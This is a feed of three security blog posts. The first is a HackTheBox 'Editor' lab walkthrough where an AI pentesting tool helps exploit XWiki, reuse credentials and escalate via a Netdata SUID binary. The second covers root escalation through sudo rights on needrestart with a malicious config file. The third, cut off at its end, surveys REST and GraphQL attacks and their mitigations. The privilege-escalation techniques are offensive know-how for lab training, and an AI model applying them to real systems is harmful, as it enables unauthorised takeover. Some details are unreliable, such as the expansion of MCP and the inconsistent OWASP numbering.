<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aniket Das on Medium]]></title>
        <description><![CDATA[Stories by Aniket Das on Medium]]></description>
        <link>https://medium.com/@aniketdas07770?source=rss-3f1e1face53------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0wKGayTy0OictThL</url>
            <title>Stories by Aniket Das on Medium</title>
            <link>https://medium.com/@aniketdas07770?source=rss-3f1e1face53------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 20:09:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aniketdas07770/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Human + AI = Red Team 2.0]]></title>
            <link>https://medium.com/@aniketdas07770/human-ai-red-team-2-0-bff0fde4e0df?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/bff0fde4e0df</guid>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 15:49:25 GMT</pubDate>
            <atom:updated>2025-12-18T15:49:25.610Z</atom:updated>
            <content:encoded><![CDATA[<p>“AI won’t replace you — but if you ignore it, someone using AI just might.” I assume you might have heard this many times. Right? I want to show you exactly why the experts are so convinced. They’re not just guessing; they’ve seen the data in action, and the results speak for themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LF8Ue95CImlvBU1uJyX4iA.png" /></figure><h3>Introduction</h3><p>The real superpower lies not in full automation, but in the <em>human-in-the-loop</em> approach: where we become cyborg-like collaborators with intelligent systems. Sure, it might make us a little lazy (let’s be honest — why type when you can prompt?), but it also multiplies our efficiency exponentially.</p><p>Instead of grinding through repetitive tasks, we shift roles: acting as strategic advisors, ethical gatekeepers, and high-level operators guiding AI agents. In this symbiosis, we’re not replaced — we’re upgraded. The future doesn’t belong to AI alone or humans alone, but to the hybrid intelligence we co-create together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*nNgAOxiYapj_qJ0K1ZctSA.png" /></figure><p>The Editor lab on HackTheBox recently retired. So, let’s why not leverage it as a perfect sandbox to test next-gen offensive workflows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTZhPhlHVI4e_4xGUUe1Tg.png" /></figure><h4>What the heck is this HexStrike MCP?</h4><p><a href="https://www.hexstrike.com/">HexStrike</a>, an AI-augmented penetration testing framework that’s redefining what “human-in-the-loop” hacking really looks like.<br>Now, you might wonder: <em>Is this just another wrapper around an LLM?</em> Not even close. At its core, HexStrike leverages MCP — Multi-Context Prompting — a novel architecture that fuses live reconnaissance data, session state, tool output, and attacker intent into a unified context window for the AI. Instead of asking generic questions like “how to exploit LFI?”, you feed HexStrike your current findings (e.g., “the app is vulnerable to path traversal via /editor?file=..., runs on Ubuntu, and Apache logs are writable”), and it responds with precision-crafted payloads, listener configurations, and even post-exploitation guidance—all grounded in your real-time operational context.</p><p>Have already got it setup on my IDE. Time for action. You can probably refer it as a writeup too. Let’s go.</p><h3>Port Scanning</h3><p>Let’s give a quick prompt to check if things are perfectly in place and HexStrike MCP is accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WLGL2KpElcWZ4XcLjNHghg.png" /></figure><p>Let’ try to give a ping prompt. So, is reachable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spAWJSjAlL6gScySGC5NZA.png" /></figure><p>So, we found port 22, 80 and 8080 open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SNTa2hRQ7aUalJ9WoD1dSw.png" /></figure><p>So, see how smoothly it summarized the scan results.</p><h3>Enumeration</h3><h4>Port 22</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WLg_UA2ZpcSzfnZNe-osxg.png" /></figure><p>So, password based authentication is enabled. Let’s have a note of it.</p><h4>Port 80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvxnZ1opNh8SaTlza-_07Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0DAvC2y7G0al4YZ-LEq1g.png" /></figure><p>So, let’s get this added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TLADCj2V8lL9wdlPpq4e9Q.png" /></figure><p>So, after adding the domain, time to continue with the enumeration part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQcnTOZqIsnGzw3iGv6epg.png" /></figure><p>Nothing interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PkBUe35Ar88E8A-qu_BkjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N6icufm1IkxIf3axPsN8kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*zhA-oINaD3WqiVES996iog.png" /></figure><p>So, let’s add this too to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOBFxW_q3ZkuB48mSPBKdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cis8hJ8ZjjVWX4NNIuIzOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7PBa0fcSBlTPiVAiio1FA.png" /></figure><p>So, see how it suggested us as a Human-in-Loop strategy to check for the possible escalation points ahead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJImceSqRA4yCib3bIy-zw.png" /></figure><p>Let’s try to leverage it.</p><h3>Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Ot5Bn4wBrrcDADMtGjoow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1xI422iTaWqTYC6-i1zag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2QGifdbeNCGnp1oujLGv-w.png" /></figure><p>Unfortunately it fails. So, as an experienced Pentester, I can take ahead from here and see what is wrong and why didn’t it work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QK2iimsg3ufJtl8a8U2IYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGeUf-Ra_0zzHiTZMI2-hw.png" /></figure><p>So, the problem here is redirection to this above path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bY87vRjGz2A4AGN66GXgnw.png" /></figure><p>So, the response changed this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IvCMuCdjAV9_nZjzDgABw.png" /></figure><p>Going through the PoC script immediately caught why is it so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Edq4P0l2C5KqTaxSjgge8g.png" /></figure><p>So, it just needed the /xwiki path. Now let’s not directly tell where it did wrong and rather guide it a bit to see if is able to quickly figure out itself or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEm8-jEVgkI49MaDdJGFVg.png" /></figure><p>And it did very quick.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pESnXXbpCEz_1TJ4BFW8nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5I7wLbNW_gUHAfJN0Gj4yg.png" /></figure><p>Now let’s ask it to check for further enumeration to look for possible escalation points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_L56UWiuMA0G9L7UDOC9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhBoOxPocNfppgHYMOvGNQ.png" /></figure><p>Ok! It found a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ts-Sb5Oi9FI0HYuZAxt4GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J92yNl4KQJtZ8wCejh62dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uCiaMpfX6kztE7mltWJAIg.png" /></figure><p>Let’s test for possible reuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJdUHko_s83IB6dm7cccng.png" /></figure><p>And it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*-rCaWh-9atwUNQeD3jb0wA.png" /></figure><p>And first flag down.</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cfit1jywkje38ZYmsL7qEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rn-FiS3ZewyKCwQ1UtqwkQ.png" /></figure><p>Ok! It suggested me to run this myself. But let’s install sshpass and ask it to do it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIoAUri7r2xxotk7-JYmyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mK4UN8CvVAPWtYmMeijbwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIvmOJSLL2yW-RyzUq9-0g.png" /></figure><p>Ok! So, it indeed found some interesting SUID set binaries. And also letting us know that Oliver is in the ‘netdata’ group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RhmUZolDxCkpzuLvhEW5Rw.png" /></figure><p>Let’s see it works or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-PGVeG9Xr06DKcZOMeSzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vaJc3I8cGl6QWTES1m1B2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FmBeyVit9T6VP4BSspYidA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjyJTxe_jYrS6JVrBbuK8Q.png" /></figure><p>Ok! So, it indeed found one of the points for escalation. But won’t be pushing it more because now I know it will start crawling the Web to look for writeups to this machine. So, it’s on us from here to do things manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ng_V3jwz_6kq7xo778IUIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*tl3WhoyXeNwaApfF4l_iSg.png" /></figure><p>Let’s give a quick web search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfKN_VlPzquDQ4FFKay9fA.png" /></figure><p>Let’s go through the <a href="https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93">PoC</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vB3wduXl9PtFQvZrvUt5bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MgU0aIkE7lhu-fP_1lLAXg.png" /></figure><p>So, is indeed root owned with SUID set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9Sk47iQTxNYoVzesL2wig.png" /></figure><p>Ok! So, it couldn’t exploit it. Now we are getting what is to be done. Let’s try to do it manually once then. Time for the human touch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*bLGUN5qLfVco2uDo-mxFOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*tgivmH5WeZ7cmKQZpyAcLw.png" /></figure><p>So, let’s make our own malicious Bash script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hmhztZP9kAVJdPHwjCUpBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q40Dv3KkpgPQ9-alFsGRaw.png" /></figure><p>So, as soon as we run it, the root shell spawns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*CIzUK_In1tXvrsJ36bOD-g.png" /></figure><p>So, down with the second flag too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbRJnAlo0c_VEkA5KhRl3g.png" /></figure><p>What would’ve taken hours of manual enumeration, trial-and-error payload crafting, and context-switching between terminals was compressed into minutes, all thanks to HexStrike’s MCP keeping the AI tightly aligned with the real-time state of the engagement. Those “hit-and-trial” moments didn’t disappear — but they became smarter, faster, and far fewer. The AI didn’t make the decisions, but it eliminated noise, suggested high-probability paths, and generated precise, executable artifacts on demand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWgQrtGF31_nf5p3o_uFqQ.png" /></figure><p>So, I hope it gave you a little gist of the coming future and the Human-in-Loop strategy to maximize efficiency and reduce time. Hope you enjoyed. Until next one, Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bff0fde4e0df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abusing Sudo Rights on NeedRestart for Escalation]]></title>
            <link>https://medium.com/@aniketdas07770/abusing-sudo-rights-on-needrestart-for-escalation-d1307c2af12f?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1307c2af12f</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Tue, 11 Nov 2025 21:54:12 GMT</pubDate>
            <atom:updated>2025-11-11T21:54:12.707Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone, welcome back! Took some time away to really grind and level up my skills and also preparing up for my Masters. So, I’m back with another blog, not a writeup exactly but packed with a technique for escalation on one of the Linux utilities by abusing some extended privileges. So, why not share with you guys too. Let’s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mFlns_fk4HL1TdH6.jpg" /></figure><h3>Scenario</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EWx5jnQKjmUcV5j9zrq_Q.png" /></figure><p>needrestart is a Linux utility that checks for and prompts you to restart services that are using outdated libraries after a package update, which can prevent the need for a full system reboot.</p><p>A possible sudo privilege or even a root SUID bit set on it, can help us escalate the scenario by spawning a root shell.</p><h3>Escalation</h3><p>While researching on it for any possible abuse for the specific version installed, came across some possible CVEs found last year,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*h0hVKAw9EtJUZbfCWgzJXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*7IShcz58JKXwhM9ks2krUQ.png" /></figure><p>But the problem was all of them came with a catch,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*BfW7_aYCGvnwjrTgr0Icdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G2KhqC4k5ae_Foq2kZ4ZcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*SIRKpGbi-s0TQ0BjLq_1OQ.png" /></figure><p>So, felt like we were probably good to go. But after a while researching found none of the CVEs relied on need of any sort of root privilege which we have in our scenario. Then, started thinking on any other way possible to abuse this extended privilege.</p><h4>Brainstorming</h4><p>Going to <a href="https://gtfobins.github.io/">GTFOBins</a>, couldn’t locate anything regarding this utility. So, while going through it’s documentation, found that we can provide custom configurations on the go via a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9UntNgxDMbmoXTWD9OJLaA.png" /></figure><p>So, was not sure how exactly can it be leveraged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwAds9az_AFXTnVrOIiurQ.png" /></figure><p>So, after a while came across with an idea that what if I try to read the contents of the file in error itself but ofcourse the problem is, it will break as it’s not following the usual config file format for reading the file content as cleartext although we can still see some parts of the shadow file. So, any file containing contents which are not directly relevant to config format, can be seen directly within the error. But ofcourse that’s not helping us much in our case. So, started thinking for something else.</p><p>I remember something from the default config file, which we enumerated previously,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR77oA3OCEWZixcYowX-SA.png" /></figure><p>at the end of it found a conditional statement which immediately caught my attention and that’s not in Bash ofcourse. So, started researching on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XqUDpjyoaINWHrnRh-iyJA.png" /></figure><p>So, that was interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqpdnW7kgo04PkM34L13rA.png" /></figure><p>And there we go. A possible path for abuse. Let’s test it out locally first to check if any library is required for it or not just like in Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*XB1PJgsnHhF_zO83vjOYWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*PxWNt20XL7VQgbo6z6uLLg.png" /></figure><p>And there we go, works perfect without any library or anything. Time to do the trick.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*sDhuXaApoHjcq1TwiofLgw.png" /></figure><p>So, that’s our PoC for now before spawning a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*o3xSqngoDUZIVZVHr_--UA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPbNGNxfXxjc0P41j6RWIg.png" /></figure><p>So, as soon as we run it with sudo privilege specifying the malicious config file, it does work the way we want it to. Time to spawn the shell and get complete system access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*M8bMEBHcp-k0-jRQmfnuiA.png" /></figure><p>So, let’s setup a SUID bit set Bash binary for root user and leverage it to spawn a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*VP6E1v2a77ZqiGxyCnLeGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zb4Hzmy-VaRTH8VtF24AeA.png" /></figure><p>So, got the root SUID set binary and can now run it in privileged mode to spawn root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grWOLE6a1AjKBmkuKVaHsA.png" /></figure><p>And there we go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*jLVN5xr81_evi7Z8.gif" /></figure><p>So, hope you enjoyed and got to learn how some extended privileges on such utilities can be leveraged to get the complete system compromised. Make sure to share your thoughts in the comments if you liked it. Until next one, Peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1307c2af12f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common Attacks on REST APIs and GraphQL APIs — With Tools & Learning Resources]]></title>
            <link>https://medium.com/@aniketdas07770/common-attacks-on-rest-apis-and-graphql-apis-with-tools-learning-resources-3c23c364467b?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c23c364467b</guid>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Sun, 07 Sep 2025 16:55:48 GMT</pubDate>
            <atom:updated>2025-09-07T16:55:48.436Z</atom:updated>
            <content:encoded><![CDATA[<h3>Common Attacks on REST APIs and GraphQL APIs — With Tools &amp; Learning Resources</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*4rE20FBuQS3BYCRqn2sJ7Q.png" /></figure><p>APIs (Application Programming Interfaces) are the backbone of modern applications. They power everything from mobile apps to SaaS platforms, and as their adoption grows, so do the security risks. Two of the most popular API architectures today are <strong>REST</strong> and <strong>GraphQL</strong>. Both bring unique strengths, but also expose different attack surfaces that attackers love to exploit.</p><p>Welcome back guys. In this blog, we’ll explore the <strong>common attacks on REST and GraphQL APIs</strong>, the <strong>tools you can use to test them</strong>, and the <strong>resources which I personally followed that you too can refer to learn from and master API security</strong>.</p><h3>🔄 REST vs 🔮 GraphQL</h3><h4><strong>REST (Representational State Transfer):</strong></h4><ul><li>Uses multiple endpoints (Example: /users, /posts, /comments).</li><li>Each endpoint returns a fixed data structure.</li><li>Well-established and widely used.</li><li>Common issue: Over-fetching or under-fetching data.</li></ul><h4><strong>GraphQL:</strong></h4><ul><li>Uses a single endpoint (Example: /graphql).</li><li>Clients can request exactly the fields they need.</li><li>Flexible and efficient.</li><li>Common issue: Can be abused with overly complex queries.</li></ul><p>👉 Both architectures simplify data exchange but also introduce unique <strong>attack surfaces</strong>.</p><h3>🌐 REST API Attacks</h3><h4>1. Broken Object Level Authorization (API1)</h4><ul><li>Attackers manipulate object IDs in requests (e.g., /api/user/1234) to access data that doesn’t belong to them.</li><li><strong>Impact:</strong> Unauthorized access to sensitive data.</li></ul><h4>2. Broken Authentication (API2)</h4><ul><li>Weak, missing, or improperly implemented authentication.</li><li>Exploits include stolen or weak JWTs, predictable session IDs, or poor token expiration policies.</li></ul><h4>3. Broken Object Property Level Authorization (API3)</h4><ul><li>Even if access to the object is restricted, attackers may still request sensitive properties (e.g., passwordHash, isAdmin).</li></ul><h4>4. Unrestricted Resource Consumption (API4)</h4><ul><li>Lack of rate limiting lets attackers brute-force login endpoints or spam requests, leading to denial of service.</li></ul><h4>5. Broken Function Level Authorization (API5)</h4><ul><li>Attackers call higher-privilege functions (e.g., admin APIs) without proper checks.</li></ul><h4>6. Unrestricted Access to Sensitive Business Flows (API6)</h4><ul><li>APIs expose flows (like purchase or checkout) without enough security, allowing attackers to abuse business logic.</li></ul><h4>7. Server-Side Request Forgery (SSRF) (API7)</h4><ul><li>An API that fetches external URLs may allow attackers to pivot into internal systems.</li></ul><h4>8. Security Misconfiguration (API8)</h4><ul><li>Default error messages, verbose stack traces, missing TLS, or exposed admin panels.</li></ul><h4>9. Improper Inventory Management (API9)</h4><ul><li>Forgotten or deprecated endpoints (/v1/ vs /v2/) left accessible can leak data or be exploited.</li></ul><h4>10. Unsafe Consumption of APIs (API10)</h4><ul><li>APIs that consume untrusted third-party APIs without validation risk injecting malicious data or exposing vulnerabilities.</li></ul><p>👉 For complete reference refer the <a href="https://owasp.org/www-project-api-security/">link</a>.</p><h3>🔮 GraphQL API Attacks</h3><p>GraphQL introduces flexibility by letting clients request exactly the data they need, but this opens doors to new attack vectors.</p><h4>1. Introspection Abuse</h4><ul><li>If not disabled in production, attackers can use GraphQL’s introspection query to map the entire schema.</li><li><strong>But what if introspection is disabled?<br></strong>Attackers can still infer schema details using <strong>suggestion abuse</strong>. GraphQL error messages often provide “Did you mean…?” hints when a field is misspelled. By intentionally sending malformed queries, attackers can harvest field names and gradually reconstruct the schema.</li><li><strong>Impact:</strong> Gives attackers a blueprint of the API.</li><li><strong>Tools:</strong> GraphQL Voyager, InQL Scanner.</li></ul><h4>2. Denial of Service</h4><ul><li>Attackers craft nested queries (users { posts { comments { replies { ... } } } }) that exhaust server resources.</li><li>Types of DoS in GraphQL:<strong><br>1. Deep Query Attacks:</strong> Excessive nesting causes exponential workload.<br><strong>2. Large Batch Queries:</strong> Sending many queries in one request.<br><strong>3. Expensive Resolver Attacks:</strong> Targeting fields that require heavy computation.</li></ul><h4>3. Authorization Flaws</h4><ul><li>Similar to REST BOLA, but often overlooked since GraphQL lets users request data across multiple objects.</li></ul><h4>4. Batching Attacks</h4><ul><li>Attackers abuse query batching or aliases to send many queries in a single request, bypassing rate limits allowing bruteforce attacks just via few number of requests.</li></ul><h4>5. Injection Attacks</h4><ul><li>GraphQL inputs are often directly mapped to backend queries without any sanitation.</li><li><strong>Possible Injection Types:<br>1. SQL Injection:</strong> If resolvers use raw SQL without sanitization.<br><strong>2. NoSQL Injection:</strong> Exploiting MongoDB or CouchDB queries.<br><strong>3. Command Injection:</strong> Dangerous if resolvers call system commands.<br><strong>4. XPath / LDAP Injection:</strong> Possible if GraphQL interacts with directory or XML data sources.</li></ul><h4>6. Request Forgery Attacks</h4><ul><li><strong>CSRF:</strong> If GraphQL endpoints rely on cookies for authentication, they can be targeted by CSRF.</li><li><strong>SSRF:</strong> GraphQL queries that fetch remote resources (like URLs) can be abused for SSRF.</li><li><strong>CSWSH:</strong> If GraphQL subscriptions (via WebSockets) use cookies for auth, attackers can hijack connections from victims.</li></ul><h3>🛡️Mitigations</h3><h4>OWASP API Top 10 Mitigations</h4><ol><li><strong>BOLA (API1)</strong>: Enforce per-user authorization checks, never rely on object IDs alone.</li><li><strong>Broken Authentication (API2)</strong>: Use MFA, strong password policies, short-lived JWTs, OAuth2/OpenID Connect.</li><li><strong>Property Level Authorization (API3)</strong>: Validate allowed fields server-side, apply strict schema validation.</li><li><strong>Unrestricted Resource Consumption (API4)</strong>: Rate limiting, request throttling, query depth and cost analysis.</li><li><strong>Function Level Authorization (API5)</strong>: Apply RBAC/ABAC at endpoints and resolvers, avoid exposing admin functions.</li><li><strong>SSRF (API6)</strong>: Validate and whitelist external requests, block access to internal metadata endpoints.</li><li><strong>Security Misconfiguration (API7)</strong>: Disable verbose error messages, secure headers, disable unused methods, harden servers.</li><li><strong>Automated Threats (API8)</strong>: Implement CAPTCHA, device fingerprinting, behavioral analysis, bot detection.</li><li><strong>Inventory Management (API9)</strong>: Maintain up-to-date API documentation, retire unused endpoints, version control APIs.</li><li><strong>Unsafe Consumption (API10)</strong>: Validate and sanitize data from third-party APIs, never blindly trust external input.</li></ol><h3>GraphQL-Specific Mitigations</h3><ol><li><strong>Introspection Abuse</strong>: Disable introspection in production, restrict error messages, monitor unusual query patterns.</li><li><strong>GraphQL DoS</strong>: Apply query depth limiting, query complexity analysis, timeout thresholds, and batching restrictions.</li><li><strong>GraphQL Injection</strong>: Use parameterized queries in resolvers, sanitize inputs, apply schema validation for all arguments.</li><li><strong>Request Forgery (CSRF, SSRF, CSWSH)</strong>:</li></ol><ul><li><strong>CSRF</strong>: Implement CSRF tokens, SameSite cookie attributes.</li><li><strong>SSRF</strong>: Restrict resolver network calls, validate external URLs.</li><li><strong>CSWSH</strong>: Enforce WebSocket origin checks, token validation, and secure authentication.</li></ul><h3>Tools for API Security Testing</h3><h4>General Testing</h4><ul><li><strong>Postman</strong> — For exploring and testing APIs manually.</li><li><strong>Insomnia</strong> — Alternative to Postman with strong GraphQL support.</li><li><strong>cURL / HTTPie</strong> — Command-line tools for quick API testing.</li><li><strong>Burp Suite</strong> — Advanced testing, request manipulation, automation.</li><li><strong>OWASP ZAP</strong> — Free vulnerability scanner for REST and GraphQL.</li><li><strong>Nuclei</strong> — Template-based vulnerability scanner for APIs.</li></ul><h4>GraphQL-Specific Tools</h4><ul><li><strong>GraphQL Voyager</strong> — Visualize GraphQL schema.</li><li><strong>InQL</strong> — Burp Suite extension for GraphQL testing.</li><li><strong>GraphQLmap</strong> — SQLmap-like exploitation tool for GraphQL.</li><li><strong>clairvoyance</strong> — Introspection &amp; schema extraction, even when disabled.</li></ul><h4>DoS &amp; Fuzzing Tools</h4><ul><li><strong>Boom / Locust / JMeter</strong> — Load testing APIs.</li><li><strong>fuzzilli / graphql-fuzzer</strong> — GraphQL fuzzing.</li><li><strong>wfuzz</strong> — General API fuzzing.</li></ul><h3>📚 Learning Resources</h3><h4>1. Books and Courses — Deep Dives</h4><ul><li><strong><em>Hacking APIs: Breaking Web Application Programming Interfaces</em></strong> — Corey Ball: Covers REST, SOAP, and GraphQL hacking with nine guided labs, API enumeration, injection, auth bypasses, and more. (My personal favourite)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mlNcslgcwGK41DfI.png" /></figure><ul><li><strong><em>Black Hat GraphQL: Attacking Next Generation APIs</em></strong> — Nick Aleks &amp; Dolev Farhi: A hands-on guide for attacking &amp; defending GraphQL APIs; includes lab setup, exploitation techniques, and mitigation strategies. (Also my personal favourite)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/0*BSX8ZRoggH6yYuih.jpg" /></figure><p>You can purchase them via Amazon or No Starch Press official website.</p><ul><li><strong>Practical API Hacking </strong>— TCM Security(Can definitely checkout as I personally felt quite a bit satisfied but only one thing left out is GraphQL)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*588R23hTuuxRHv5z.png" /></figure><h4>2. Practice Labs &amp; Learning Platforms</h4><ul><li><strong>HTB Academy — </strong><a href="https://academy.hackthebox.com/module/details/268"><strong>API Attacks</strong></a><strong> Module</strong><br>Hands-on courses to practice attacking various API vulnerabilities (REST and general API security).</li><li><strong>HTB Academy — </strong><a href="https://academy.hackthebox.com/module/details/271"><strong>Attacking GraphQL</strong></a><strong> Module</strong><br>Targeted labs for GraphQL-specific vulnerabilities like introspection abuse, injections, and DoS.</li><li><a href="https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application"><strong>DVGA</strong></a><strong> (Damn Vulnerable GraphQL Application)</strong><br>Intentionally vulnerable GraphQL app to test and practice exploits in a safe lab environment.</li><li><a href="https://github.com/roottusk/vapi"><strong>vAPI</strong></a><strong><br></strong>Intentionally vulnerable API application that mimics OWASP API Top 10 scenarios in the means of Exercises.</li><li><strong>PortSwigger 